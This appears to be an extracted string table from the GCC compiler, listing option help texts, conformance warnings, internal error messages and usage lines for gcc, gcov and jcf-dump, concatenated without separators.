Conform more closely to IBM XLC semanticsConform to the ISO 1990 C standardConform to the ISO 1990 C standard as amended in 1994Conform to the ISO 1990 C standard with GNU extensionsConform to the ISO 1998 C++ standardConform to the ISO 1998 C++ standard with GNU extensionsConform to the ISO 1999 C standardConform to the ISO 1999 C standard with GNU extensionsConsider access to byte sized memory slowConsider type 'int' to be 16 bits wideConsider type 'int' to be 32 bits wideConstant expression required at %CConstantValue attribute of field '%s' has wrong typeConstruct webs and split unrelated uses of single variableControl the IEEE trap modeControl the generated fp rounding modeControl the precision given to fp exceptionsConversion from %s to %s at %LConvert all strings and character constants to character set <cset>Convert all wide strings and character constants to character set <cset>Convert floating point constants to single precision constantsCost to assume for a multiply insnCost to assume for gettr insnCreate GUI applicationCreate canonical induction variables in loopsCreate console applicationCreate data files needed by "gcov"DW_LOC_OP %s not implementedData greater than given threshold will go into .ldata section in x86-64 medium modelDefer popping functions args from stack until laterDefine a <macro> with <val> as its value.  If just <macro> is given, <val> is taken to be 1Delete useless null pointer checksDeprecated in favor of -std=c99Deprecated in favor of -std=gnu99Deprecated in favor of -std=iso9899:1999Deprecated option.  Use -misel/-mno-isel insteadDeprecated option.  Use -mspe/-mno-spe insteadDeprecated option.  Use -mvrsave/-mno-vrsave insteadDeprecated.  This switch has no effectDeprecated. Use -Os insteadDeprecated; use --classpath insteadDetermine which dependences between insns are considered costlyDisable FP regsDisable indexed addressingDisable optimizations observable by IEEE signaling NaNsDisable optimizations that assume default FP rounding behaviorDisable space regsDisallow direct calls to global functionsDiscard unused virtual functionsDiscover pure and const functionsDiscover readonly and non addressable static variablesDisplay compile time statisticsDisplay contents of a class file in readable form.

Display statistics accumulated during compilationDisplay the compiler's versionDisplay this informationDistance between tab stops for column reportingDivision by zero at %LDo not assume GASDo not assume a large TLS segmentDo not assume that standard C libraries and "main" existDo not disable space regsDo not discard commentsDo not discard comments in macro expansionsDo not display functions compiled or elapsed timeDo not emit addressing modes with side-effect assignmentDo not emit complex integer constants to read-only memoryDo not emit function prologue or epilogueDo not generate #line directivesDo not generate .size directivesDo not generate a single exit point for each functionDo not generate fused multiply/add instructionsDo not generate load/store with update instructionsDo not generate tablejump insnsDo not generate thread-safe code for initializing local staticsDo not inline integer divisionDo not inline square rootDo not load the PIC register in function prologuesDo not mark ABI switches in e_flagsDo not place floating point constants in TOCDo not place symbol+offset constants in TOCDo not predefine system-specific and GCC-specific macrosDo not pretend that branches are expensiveDo not provide a default start-address 0x100 of the programDo not put uninitialized globals in the common sectionDo not search standard system include directories (those specified with -isystem will still be used)Do not search standard system include directories for C++Do not suppress warnings from system headersDo not tune code and read-only data alignmentDo not tune stack alignmentDo not tune writable data alignmentDo not use MIPS-3D instructionsDo not use POWER instruction setDo not use PowerPC instruction setDo not use VAX fpDo not use a cache-flushing function before calling stack trampolinesDo not use addresses that allocate global registersDo not use condition codes from normal instructionsDo not use direct addressing mode for soft registersDo not use hardware FPDo not use hardware floating pointDo not use hardware fpDo not use hardware quad fp instructionsDo not use inline patterns for copying memoryDo not use push to store function argumentsDo not use the bit-field instructionsDo not use the callt instructionDo not use unaligned memory referencesDo not warn about using "long long" when -pedanticDo not warn about using variadic macros when -pedanticDo the full register move optimization passDon't align items in code or dataDon't allocate floats and doubles in extended-precision registersDon't call any cache flush functionsDon't call any cache flush trapDon't optimize block movesDon't use P-mnemonics for branchesDon't warn about uses of Microsoft extensionsDowngrade conformance errors to warningsDump declarations to a .decl fileDump various compiler internals to a fileDynamically allocate cc registersEH edge %i->%i has duplicated regionsEH edge %i->%i is missingEH edge %i->%i miss EH flagESA/390 architectureEmit 16-bit relocations to the small data areasEmit 32-bit relocations to the small data areasEmit IEEE-conformant code, without inexact exceptionsEmit call graph informationEmit code for the byte/word ISA extensionEmit code for the counting ISA extensionEmit code for the fp move and sqrt ISA extensionEmit code for the motion video ISA extensionEmit code using explicit relocation directivesEmit common-like symbols as weak symbolsEmit cross referencing informationEmit declaration information into <file>Emit direct branches to local functionsEmit function-calls using global offset table when generating PICEmit implicit instantiations of inline templatesEmit implicit instantiations of templatesEmit indirect branches to local functionsEmit long load/store sequencesEmit rdval instead of rduniq for thread pointerEmit static const variables even if they are not usedEmit stop bits before and after volatile extended asmsEmit verbose debug information in assembly codeEnable Dwarf 2 line debug info via GNU asEnable Full Redundancy Elimination (FRE) on treesEnable Function Descriptor PIC modeEnable ID based shared libraryEnable Objective-C exception and synchronization syntaxEnable Objective-C setjmp exception handling runtimeEnable PIC support for building librariesEnable SSA code sinking on treesEnable SSA dead code elimination optimization on treesEnable SSA-CCP optimization on treesEnable SSA-PRE optimization on treesEnable TPF-OS tracing codeEnable all -Wunused- warningsEnable an RTL peephole pass before sched2Enable assignability checks for stores into object arraysEnable automatic template instantiationEnable backend debuggingEnable basic program profiling codeEnable common options for generating profile info for profile feedback directed optimizationsEnable common options for performing profile feedback directed optimizationsEnable conditional execution other than moves/sccEnable conditional movesEnable copy propagation on treesEnable dead store eliminationEnable debug outputEnable dominator optimizationsEnable dumps from specific passes of the compilerEnable earlier placing stop bits for better schedulingEnable exception handlingEnable function profilingEnable fused multiply/add and multiply/subtract FP instructionsEnable fused multiply/add instructionsEnable garbage collection (GC) in Objective-C/Objective-C++ programsEnable guessing of branch probabilitiesEnable inlining of PLT in function callsEnable label alignment optimizationsEnable linear loop transforms on treesEnable linker optimizationsEnable linker relaxationsEnable linker relaxingEnable loop header copying on treesEnable loop invariant motion on treesEnable loop optimizations on tree levelEnable loop vectorization on treesEnable loop versioning when doing loop vectorization on treesEnable machine specific peephole optimizationsEnable most warning messagesEnable nested conditional execution optimizationsEnable optimization of static class initialization codeEnable optimizing &&/|| in conditional executionEnable optional diagnosticsEnable scheduling across basic blocksEnable separate data segmentEnable setting GPRs to the result of comparisonsEnable stack probingEnable support for huge objectsEnable the normal modeEnable the use of the short load instructionsEnable traditional preprocessingEnable use of GPREL for read-only data in FDPICEnable use of sdata/scommon/sbssEnable verbose outputEnable/Disable the traditional scheduling in loops that already passed modulo schedulingEnabled ID based shared libraryEnables a register move optimizationEnd of search list.
Enforce class member access control semanticsEnforce strict alignmentError:Execution count is negativeExit on the first error occurredExpected another dimension in array declaration at %CExpected formal argument list in function definition at %CExpected integerExpected left parenthesisExpected nameExpected right parenthesisExpected stringExport functions even if they can be inlinedExtension: re-initialization of '%s' at %LFP exceptions are enabledFailure trying to reload:Fatal Error:Follow Renesas (formerly Hitachi) / SuperH calling conventionsFollow the EABI linkage requirementsFor bug reporting instructions, please see:
%s.
For intrinsics library: pass all parameters in registersForce functions to be aligned to a 4 byte boundaryForce the underlying type for "wchar_t" to be "unsigned short"Function '%s' at %C already has a type of %sFunction starts are aligned to this power of 2GCC does not support -C or -CC without -EGCC supports only %u nested scopesGCSE disabledGMP version %s, MPFR version %s.
Generate 32-bit FPU-less SHmedia codeGenerate 32-bit SHmedia codeGenerate 32-bit codeGenerate 32bit i386 codeGenerate 64-bit SHmedia codeGenerate 64-bit codeGenerate 64bit x86-64 codeGenerate APCS conformant stack framesGenerate C header of platform-specific featuresGenerate GFLOAT double precision codeGenerate H8/300H codeGenerate H8S codeGenerate H8S/2600 codeGenerate H8SX codeGenerate ILP32 codeGenerate LP64 codeGenerate PA1.0 codeGenerate PA1.1 codeGenerate PA2.0 code (requires binutils 2.10 or later)Generate SH1 codeGenerate SH2 codeGenerate SH2a FPU-less codeGenerate SH2a codeGenerate SH2e codeGenerate SH3 codeGenerate SH3e codeGenerate SH4 FPU-less codeGenerate SH4 codeGenerate SH4a FPU-less codeGenerate SH4a codeGenerate SH4al-dsp codeGenerate SPE SIMD instructions on E500Generate VRSAVE instructions when generating AltiVec codeGenerate a #line directive pointing at the current working directoryGenerate a call to abort if a noreturn function returnsGenerate a single exit point for each functionGenerate big endian codeGenerate big-endian codeGenerate call insns as indirect calls, if necessaryGenerate checks for references to NULLGenerate code for GNU asGenerate code for GNU assembler (gas)Generate code for GNU ldGenerate code for GNU runtime environmentGenerate code for ISA level NGenerate code for NeXT (Apple Mac OS X) runtime environmentGenerate code for UNIX assemblerGenerate code for a 5206eGenerate code for a 520XGenerate code for a 528xGenerate code for a 5307Generate code for a 5407Generate code for a 68000Generate code for a 68020Generate code for a 68030Generate code for a 68040Generate code for a 68040, without any new instructionsGenerate code for a 68060Generate code for a 68060, without any new instructionsGenerate code for a 68302Generate code for a 68332Generate code for a 68851Generate code for a DLLGenerate code for a cpu32Generate code for an 11/10Generate code for an 11/40Generate code for an 11/45Generate code for big-endianGenerate code for functions even if they are fully inlinedGenerate code for given CPUGenerate code for huge switch statementsGenerate code for little-endianGenerate code for old exec BSS PLTGenerate code for the Boehm GCGenerate code for the M*Core M210Generate code for the M*Core M340Generate code for the given ISAGenerate code for the specified chip or CPU versionGenerate code in little endian modeGenerate code suitable for executables (NOT shared libs)Generate code suitable for fast turn around debuggingGenerate code that conforms to the given ABIGenerate code that uses 68881 floating-point instructionsGenerate code to check bounds before indexing arraysGenerate code to check exception specificationsGenerate code to use a non-exec PLT and GOTGenerate code with library calls for floating pointGenerate code without GP regGenerate cpp defines for server IOGenerate cpp defines for workstation IOGenerate debug information in COFF formatGenerate debug information in DWARF v2 formatGenerate debug information in STABS formatGenerate debug information in VMS formatGenerate debug information in XCOFF formatGenerate debug information in default extended formatGenerate debug information in default formatGenerate debug information in extended STABS formatGenerate debug information in extended XCOFF formatGenerate default single-precision SH2a codeGenerate default single-precision SH4 codeGenerate default single-precision SH4a codeGenerate divide results with reminder having the same sign as the divisor (not the dividend)Generate fast indirect callsGenerate floating point mathematics using given instruction setGenerate floating-point multiply-add instructionsGenerate fused multiply/add instructionsGenerate inline floating point division, optimize for latencyGenerate inline floating point division, optimize for throughputGenerate inline integer division, optimize for latencyGenerate inline integer division, optimize for throughputGenerate inline square root, optimize for latencyGenerate inline square root, optimize for throughputGenerate instances of Class at runtimeGenerate isel instructionsGenerate lazy class lookup (via objc_getClass()) for use in Zero-Link modeGenerate little endian codeGenerate little-endian codeGenerate load/store multiple instructionsGenerate load/store with update instructionsGenerate make dependenciesGenerate make dependencies and compileGenerate normal-mode codeGenerate only single-precision SH2a codeGenerate only single-precision SH4 codeGenerate only single-precision SH4a codeGenerate pc-relative codeGenerate phony targets for all headersGenerate position-independent code for executables if possible (large mode)Generate position-independent code for executables if possible (small mode)Generate position-independent code if possible (large mode)Generate position-independent code if possible (small mode)Generate prefetch instructions, if available, for arrays in loopsGenerate re-entrant, PIC codeGenerate run time type descriptor informationGenerate self-relocatable codeGenerate sin, cos, sqrt for FPUGenerate string instructions for block movesGenerate unwind tables that are exact at each instruction boundaryGive branches their default costGive external symbols a leading underscoreHow often to emit source location at the beginning of line-wrapped diagnosticsICE: emit_insn used where emit_jump_insn needed:
ID of shared library to buildISO C does not support %<++%> and %<--%> on complex typesISO C does not support %<~%> for complex conjugationISO C does not support complex integer typesISO C does not support plain %<complex%> meaning %<double complex%>ISO C doesn%'t support unnamed structs/unionsISO C forbids %<goto *expr;%>ISO C forbids assignment between function pointer and %<void *%>ISO C forbids casting nonscalar to the same typeISO C forbids casts to union typeISO C forbids comparison of %<void *%> with function pointerISO C forbids conditional expr between %<void *%> and function pointerISO C forbids conditional expr with only one void sideISO C forbids const or volatile function typesISO C forbids conversion of function pointer to object pointer typeISO C forbids conversion of object pointer to function pointer typeISO C forbids forward parameter declarationsISO C forbids initialization between function pointer and %<void *%>ISO C forbids ordered comparisons of pointers to functionsISO C forbids passing argument %d of %qE between function pointer and %<void *%>ISO C forbids qualified function typesISO C forbids return between function pointer and %<void *%>ISO C forbids subscripting %<register%> arrayISO C forbids zero-size array %qsISO C prohibits argument conversion to union typeISO C restricts enumerator values to range of %<int%>ISO C++ does not allow designated initializersISO C++ does not permit %<%T::%D%> to be defined as %<%T::%D%>ISO C++ forbids %s between pointer of type %<void *%> and pointer-to-functionISO C++ forbids braced-groups within expressionsISO C++ forbids calling %<::main%> from within programISO C++ forbids casting between pointer-to-function and pointer-to-objectISO C++ forbids casting to an array type %qTISO C++ forbids comparison between pointer and integerISO C++ forbids compound-literalsISO C++ forbids computed gotosISO C++ forbids declaration of %qs with no typeISO C++ forbids in-class initialization of non-const static member %qDISO C++ forbids initialization in array newISO C++ forbids initialization of member %qDISO C++ forbids initialization of member constant %qD of non-integral type %qTISO C++ forbids nested type %qD with same name as enclosing classISO C++ forbids omitting the middle term of a ?: expressionISO C++ forbids subscripting non-lvalue arrayISO C++ forbids taking address of function %<::main%>ISO C++ forbids taking the address of a bound member function to form a pointer to member function.  Say %<&%T::%D%>ISO C++ forbids taking the address of a cast to a non-lvalue expressionISO C++ forbids taking the address of an unqualified or parenthesized non-static member function to form a pointer to member function.  Say %<&%T::%D%>ISO C++ forbids the use of %qE on explicit instantiationsISO C++ forbids use of initializer list to initialize reference %qDISO C++ forbids using pointer of type %<void *%> in subtractionISO C++ forbids using pointer to a function in subtractionISO C++ forbids using pointer to a method in subtractionISO C++ forbids variable length arrayISO C++ forbids variable length array %qDISO C++ forbids zero-size arrayISO C++ forbids zero-size array %qDISO C++ prohibits anonymous structsISO C++ prohibits overloading operator ?:ISO C90 does not support %<[*]%> array declaratorsISO C90 does not support %<long long%>ISO C90 does not support %<static%> or type qualifiers in parameter array declaratorsISO C90 does not support complex typesISO C90 does not support flexible array membersISO C90 forbids array %qs whose size can%'t be evaluatedISO C90 forbids subscripting non-lvalue arrayIf -fvariable-expansion-in-unroller is used, the maximum number of times that an individual variable will be expanded during loop unrollingIf number of candidates in the set is smaller, we always try to remove unused ivs during its optimizationIf scheduling post reload, do superblock schedulingIf scheduling post reload, do trace schedulingIgnore dllimport attribute for functionsIgnore dllimport for functionsIgnore read operations when inserting mudflap instrumentationIgnored (obsolete)Implement vtables using thunksIn function %qsIn member function %qsInclude the contents of <file> before other filesIncorrect function return valueIncrease the IEEE compliance for floating-point codeIndicate the number of soft registers availableInject friend functions into enclosing namespaceInline all known string operationsInline constants if it can be done in 2 insns or lessInline member functions by defaultInline recursively only when the probability of call being executed exceeds the parameterInput file is a file with a list of filenames to compileInsert arc-based program profiling codeInsert code to profile values of expressionsInsert stack checking code into the programInstrument function entry and exit with profiling callsInteger expression required at %CInteger overflowInteger value too large in expression at %CIntegrate functions called once into their callersIntegrate simple functions into their callersInternal Error at (1):Internal compiler error: Error reporting routines re-entered.
Internal error: %s (program %s)
Please submit a full bug report.
See %s for instructions.Intersperse literal pools with code in the text sectionIssue warnings needed for strict compliance to the standardJava class %qT cannot have a destructorJava class %qT cannot have an implicit non-trivial destructorJava class %qT cannot have multiple basesJava class %qT cannot have virtual basesJava method %qD has non-Java parameter type %qTJava method %qD has non-Java return type %qTJump targets are aligned to this power of 2Just generate unwind tables for exception handlingJust use icc0/fcc0L%d cache latency unknown for %sLift restrictions on GOT sizeLike -M but ignore system header filesLike -MD but ignore system header filesLike -pedantic but issue them as errorsLimit diagnostics to <number> characters per line.  0 suppresses line-wrappingLimit the size of inlined functions to <number>Lines executed:%s of %d
Link to emit program in ELF format (rather than mmo)Link with libads.a, libc.a and crt0.oLink with libmvme.a, libc.a and crt0.oLink with libsim.a, libc.a and sim-crt0.oLink with libyk.a, libc.a and crt0.oLink with the library-pic librariesLook for and use PCH files even when preprocessingLoop code aligned to this power of 2Loops iterating at least selected number of iterations will get loop alignement.MCU %qs supported for assembler onlyMMIX Internal: %s is not a shiftable intMMIX Internal: Bad register: %dMMIX Internal: Bad value for 'm', not a CONST_INTMMIX Internal: Cannot decode this operandMMIX Internal: Expected a CONST_INT, not thisMMIX Internal: Expected a constant, not thisMMIX Internal: Expected a register, not thisMMIX Internal: Last named vararg would not fit in a registerMMIX Internal: Missing %qc case in mmix_print_operandMMIX Internal: This is not a constant:MMIX Internal: This is not a recognized addressMMIX Internal: Trying to output invalidly reversed condition:MMIX Internal: What is the CC of this?MMIX Internal: What's the CC of this?MMX vector argument without MMX enabled changes the ABIMMX vector return without MMX enabled changes the ABIMaintain backchain pointerMake "char" signed by defaultMake "char" unsigned by defaultMake compile reproducible using <string>Make integers 32 bits wideMake structs a multiple of 4 bytes (warning: ABI altered)Mark <register> as being corrupted by function callsMark <register> as being preserved across functionsMark <register> as being unavailable to the compilerMark MAC register as call-clobberedMarks all inlined methods as having hidden visibilityMaximal code growth caused by tail duplication (in percent)Maximal growth due to inlining of large function (in percent)Maximal stack frame growth due to inlining (in percent)Maximum number of fields in a structure before pointer analysis treats the structure as a single variableMaximum number of statements allowed in a block that needs to be duplicated when threading jumpsMin/max instructions allowedMin/max instructions not allowedMinimum heap expansion to trigger garbage collection, as a percentage of the total size of the heapMinimum heap size before we start collecting garbage, in kilobytesMinimum number of virtual mappings to consider switching to full virtual renamesMissing leading left parenthesisModule %s at line %d column %d: %sMove loop invariant computations out of loopsNOTE_INSN_BASIC_BLOCK %d in middle of basic block %dNOTE_INSN_BASIC_BLOCK is missing for block %dNULL used in arithmeticName too longNo branches
No calls
No default crt0.oNo executable lines
Nonnegative width requiredNot a valid Java .class file.
Number of memreg bytes (default: 16, range: 0..16)Number of registers used to pass integer argumentsObjective-C declarations may only appear in global scopeOmit frame pointer for leaf functionsOmit range reduction step when performing complex divisionOmit the frame pointer in leaf functionsOnly issue one instruction per cycleOnly use 32 FPRsOnly use 32 GPRsOptimize for space rather than speedOptimize induction variables on treesOptimize lui/addiu address loadsOptimize sibling and tail recursive callsOptimize tail call instructions in assembler and linkerOptimize the output for PROCESSOROptions:
Out of memory-- malloc() failedOut of stack space.
Output a class fileOutput instruction sizes to the asm fileOverride -mbest-lib-optionsPHI argument is missing for edge %d->%dPHI argument is not SSA_NAME, or invariantPIC is required but not supported with CONST16 instructionsPIC register %qs clobbered in %<asm%>PIC register isn't set upPRINT_OPERAND null pointerPRINT_OPERAND: Unknown punctuation '%c'PRINT_OPERAND_ADDRESS, null pointerPack VLIW instructionsPack structure members together without holesPass -assert pure-text to linkerPass FP arguments in FP registersPay attention to the "inline" keywordPerform DWARF2 duplicate eliminationPerform Interprocedural constant propagationPerform SMS based modulo scheduling before the first scheduling passPerform VR4130-specific alignment optimizationsPerform Value Range Propagation on treesPerform a number of minor, expensive optimizationsPerform a register copy-propagation optimization passPerform a register renaming optimization passPerform branch target load optimization after prologue / epilogue threadingPerform branch target load optimization before prologue / epilogue threadingPerform conversion of conditional jumps to branchless equivalentsPerform conversion of conditional jumps to conditional executionPerform cross-jumping optimizationPerform early inliningPerform enhanced load motion during global common subexpression eliminationPerform global common subexpression eliminationPerform global common subexpression elimination after register allocationPerform jump threading optimizationsPerform live range splitting during the SSA->normal passPerform loop peelingPerform loop unrolling for all loopsPerform loop unrolling when iteration count is knownPerform loop unswitchingPerform redundant load after store elimination in global common subexpressionPerform scalar replacement of aggregatesPerform store motion after global common subexpression eliminationPerform superblock formation via tail duplicationPerform unused type elimination in debug infoPerform variable trackingPerform whole program optimizationsPermit '$' as an identifier characterPermit scheduling of a function's prologue sequencePermit the use of the assert keywordPermit universal character names (\u and \U) in identifiersPlace data items into their own sectionPlace each function into its own sectionPlace floating point constants in TOCPlace output into <file>Place symbol+offset constants in TOCPlease submit a full bug report,
with preprocessed source if appropriate.
See %s for instructions.
Pointer assignment to non-POINTER at %LPointers are 32-bitPointers are 64-bitPrefer branches over conditional executionPrefer word accesses over byte accessesPrepend global symbols with ":" (for use with PREFIX)Prepend the name of the cpu to all public symbol namesPretend that branches are expensivePrevent the use of all hardware floating-point instructionsPrint a checksum of the executable for PCH validity checking, and stopPrint code coverage information.

Print extra (possibly unwanted) warningsPrint the name of header files as they are usedProcess #ident directivesProcessing spec %c%s%c, which is '%s'
Produce big endian codeProduce code relocatable at runtimeProduce little endian codeProfiler support for CRXProgram is entirely located in low 64k of memoryProhibit PC relative function callsProvide libraries for the simulatorPut MODULE files in 'directory'Put data in SECTIONPut everything in the regular TOCPut functions in SECTIONPut global and static data smaller than <number> bytes into a special section (on some targets)Put jumps in call delay slotsPut read-only data in SECTIONPut uninitialized constants in ROM (needs -membedded-data)Put zero initialized data in the bss sectionRETURN_ADDRESS_OFFSET not supportedRTL check: access of elt %d of '%s' with last elt %d in %s, at %s:%dRTL check: access of elt %d of vector with last elt %d in %s, at %s:%dRTL check: expected code '%s' or '%s', have '%s' in %s, at %s:%dRTL check: expected code '%s', have '%s' in %s, at %s:%dRTL check: expected elt %d type '%c' or '%c', have '%c' (rtx %s) in %s, at %s:%dRTL check: expected elt %d type '%c', have '%c' (rtx %s) in %s, at %s:%dRTL flag check: %s used with unexpected rtx code '%s' in %s, at %s:%dRatio between virtual mappings and virtual symbols to do full virtual renamesReading module %s at line %d column %d: %sReading specs from %s
Recognize GNU-defined keywordsRecognize built-in functionsRecognize the "asm" keywordReduce the amount of reflection meta-data generatedReduce the size of object filesRemap file names when including filesRemove redundant membarsReorder basic blocks and partition into hot and cold sectionsReorder basic blocks to improve code placementReorder functions to improve code placementReplace SSA temporaries with better names in copiesReplace add, compare, branch with branch on count registerReplace system pathReplace temporary expressions in the SSA->normal passReport on permanent memory allocationReport the time taken by each compiler passRequest IEEE-conformant math library routines (OSF/1)Reschedule instructions after register allocationReschedule instructions before register allocationReserve space for outgoing arguments in the function prologueRestrict doloop to the given nesting levelRestrict target load migration not to re-use registers in any basic blockRestrict the use of hardware floating-point instructions to 32-bit operationsReturn all structures in memory (AIX default)Return floating-point results in ac0 (fr0 in Unix assembler syntax)Return pointers in both a0 and d0Return small aggregates in memory, not registersReturn small aggregates in registersReturn small structures in registers (SVR4 default)Return values of functions in FPU registersReuse r30 on a per function basisSH2a does not support little-endianSSA corruptionSSA name in freelist but still referencedSSA_NAME created in two different blocks %i and %iSSA_NAME_DEF_STMT is wrongSSA_NAME_OCCURS_IN_ABNORMAL_PHI should be setSSE instruction set disabled, using 387 arithmeticsSSE register argument with SSE disabledSSE register return with SSE disabledSSE vector argument without SSE enabled changes the ABISSE vector return without SSE enabled changes the ABISame as: -mep -mprolog-functionSave registers around function callsSchedule code for given CPUSchedule given CPUSchedule the start and end of the procedureScope of for-init-statement variables is local to the loopSegmentation FaultSegmentation Fault (code)Select ABI calling conventionSelect GPR floating point methodSelect fraction of the maximal count of repetitions of basic block in program given basic block needs to have to be considered hotSelect fraction of the maximal frequency of executions of basic block in function given basic block get alignmentSelect fraction of the maximal frequency of executions of basic block in function given basic block needs to have to be considered hotSelect full, part, or no traceback tableSelect method for sdata handlingSet <dir> to be the system root directorySet Windows definesSet class pathSet dependence distance checking in premature scheduling of queued insnsSet errno after built-in math functionsSet initial maximum structure member alignmentSet number of queued insns that can be prematurely scheduledSet optimization level to <number>Set parameter <param> to value.  See below for a complete list of parametersSet sizeof(bool) to 1Set start-address of dataSet start-address of the programSet the PPC_EMB bit in the ELF flags headerSet the cost of branchesSet the default symbol visibilitySet the default thread-local storage code generation modelSet the extension directory pathSet the file basename to be used for dumpsSet the max size of data eligible for the SDA areaSet the max size of data eligible for the TDA areaSet the max size of data eligible for the ZDA areaSet the maximum amount for a single stack increment operationSet the target CPU typeSet the verbosity level of the schedulerSet the verbosity level of the vectorizerSetting spec %s to '%s'

Shorten address references during linkingSmall data area: none, sdata, useSpecify <path> as a prefix for next two optionsSpecify ABI to useSpecify CPU for code generation purposesSpecify CPU for scheduling purposesSpecify CPU for scheduling purposes.  Valid arguments are 700, 7100, 7100LC, 7200, 7300, and 8000Specify UNIX standard for predefines and linkingSpecify alignment of structure fields default/naturalSpecify an ABISpecify bit size of immediate TLS offsetsSpecify cache flush functionSpecify cache flush trap numberSpecify how to access the thread pointerSpecify if floating point hardware should be usedSpecify main object for TPF-OSSpecify maximum template instantiation depthSpecify name for 32 bit signed division functionSpecify options to GNATSpecify range of registers to make fixedSpecify scheduling priority for dispatch slot restricted insnsSpecify size of long double (64 or 128 bits)Specify that arguments may alias each other and globalsSpecify the default character set for source filesSpecify the minimum bit alignment of structuresSpecify the name of the target CPUSpecify the name of the target architectureSpecify the name of the target floating point hardware/formatSpecify the register allocation orderSpecify the register to be used for PIC addressingSpecify which post scheduling nop insertion scheme to applySplit lifetimes of induction variables when loops are unrolledStatic linking is not supported.
Stop forward growth if the probability of best edge is less than this threshold (in percent). Used when profile feedback is availableStop forward growth if the probability of best edge is less than this threshold (in percent). Used when profile feedback is not availableStop reverse growth if the reverse probability of best edge is less than this threshold (in percent)Store function names in object codeSupport 3DNow! built-in functionsSupport Green Hills ABISupport ISO C trigraphsSupport MMX and SSE built-in functions and code generationSupport MMX built-in functionsSupport MMX, SSE and SSE2 built-in functions and code generationSupport MMX, SSE, SSE2 and SSE3 built-in functions and code generationSupport calls between Thumb and ARM instruction setsSupport legacy multi-threadingSupport message passing with the Parallel EnvironmentSupport multi-threadingSupport multiply accumulate instructionsSupport synchronous non-call exceptionsSuppress warningsSynonym for -WcommentTaken at least once:%s of %d
Target DFLOAT double precision codeTarget has split I&DTarget the AM33 processorTarget the AM33/2.0 processorTarget: %s
The --param option recognizes the following as parametersThe earliest MacOS X version on which this program will runThe following options are language-independentThe following options are language-relatedThe following options are not documentedThe following options are supported by the language The following options are target specificThe following options control compiler warning messagesThe following options control optimizationsThe lower bound for a buffer to be considered for stack smashing protectionThe maximum amount of memory to be allocated by GCSEThe maximum depth of recursive inlining for inline functionsThe maximum depth of recursive inlining for non-inline functionsThe maximum expansion factor when copying basic blocksThe maximum instructions CSE process before flushingThe maximum length of path considered in cseThe maximum length of scheduling's pending operations listThe maximum memory locations recorded by cselibThe maximum number of RTL nodes that can be recorded as combiner's last valueThe maximum number of blocks in a region to be considered for interblock schedulingThe maximum number of incoming edges to consider for crossjumpingThe maximum number of insns in a region to be considered for interblock schedulingThe maximum number of insns of a completely peeled loopThe maximum number of insns of a peeled loopThe maximum number of insns of a peeled loop that rolls only onceThe maximum number of insns of an unswitched loopThe maximum number of insns to duplicate when unfactoring computed gotosThe maximum number of instructions in a single function eligible for inliningThe maximum number of instructions inline function can grow to via recursive inliningThe maximum number of instructions non-inline function can grow to via recursive inliningThe maximum number of instructions to consider to fill a delay slotThe maximum number of instructions to consider to find accurate live register informationThe maximum number of instructions to consider to unroll in a loopThe maximum number of instructions to consider to unroll in a loop on averageThe maximum number of instructions to search backward when looking for equivalent reloadThe maximum number of instructions when automatically inliningThe maximum number of loop iterations we predict staticallyThe maximum number of passes to make when doing GCSEThe maximum number of peelings of a single loopThe maximum number of peelings of a single loop that is peeled completelyThe maximum number of structure fields for which GCC will use by-element copiesThe maximum number of unrollings of a single loopThe maximum number of unswitchings in a single loopThe maximum structure size (in bytes) for which GCC will use by-element copiesThe minimum cost of an expensive expression in the loop invariant motionThe minimum number of matching instructions to consider for crossjumpingThe minimum probability of reaching a source block for interblock speculative schedulingThe number of cycles the swing modulo scheduler considers when checking conflicts using DFAThe percentage of function, weighted by execution frequency, that must be covered by trace formation. Used when profile feedback is availableThe percentage of function, weighted by execution frequency, that must be covered by trace formation. Used when profile feedback is not availableThe size of L1 cacheThe size of L1 cache lineThe size of L2 cacheThe size of function body to be considered largeThe size of stack frame to be considered largeThe size of translation unit to be considered largeThe threshold ratio between instantiated fields and the total structure sizeThe threshold ratio for performing partial redundancy elimination after reloadThe threshold ratio of critical edges execution count that permit performing redundancy elimination after reloadThe upper bound for sharing integer constantsThis is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or 
FITNESS FOR A PARTICULAR PURPOSE.

This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

This switch is deprecated; use -Wextra insteadThis switch lacks documentationThread model: %s
Thumb: Assume function pointers may go to non-Thumb aware codeThumb: Assume non-static functions may be called from ARM codeThumb: Generate (leaf) stack frames even if not neededThumb: Generate (non-leaf) stack frames even if not neededTogether with -fpic and -fPIC, do not use GOTPLT referencesToo many arguments to %s at %LTrampoline support for CRXTrap for signed overflow in addition, subtraction and multiplicationTrap if the stack goes past <register>Trap if the stack goes past symbol <name>Trap on integer divide by zeroTreat all warnings as errorsTreat missing header files as generated filesTreat the input file as already preprocessedTry 'jcf-dump --help' for more information.
Try running '%s' in the shell to raise its limit.
Tune alignment for the specified chip or CPU versionTune code for the given processorTune expected memory latencyType based escape and alias analysisType name '%s' at %C is ambiguousUNKNOWN in print_operand !?Undefine <macro>Unexpected EOFUnexpected end of format stringUnexpected end of module in string constantUnexpected junk after function declaration at %CUnidentifiable call opUnknown architecture '%s'Unknown destUnknown intrinsic opUnknown operator '%s' at %%LUnknown srcUnknown switch -mlong-double-%sUnknown value %qs of -mmacosx-version-minUsage: %s [OPTIONS]... CLASSNAMEmain [OUTFILE]
Usage: %s [options] file...
Usage: gcov [OPTION]... SOURCEFILE...

Usage: jcf-dump [OPTION]... CLASS...

Use "-Wa,OPTION" to pass "OPTION" to the assembler.

Use "-Wl,OPTION" to pass "OPTION" to the linker.

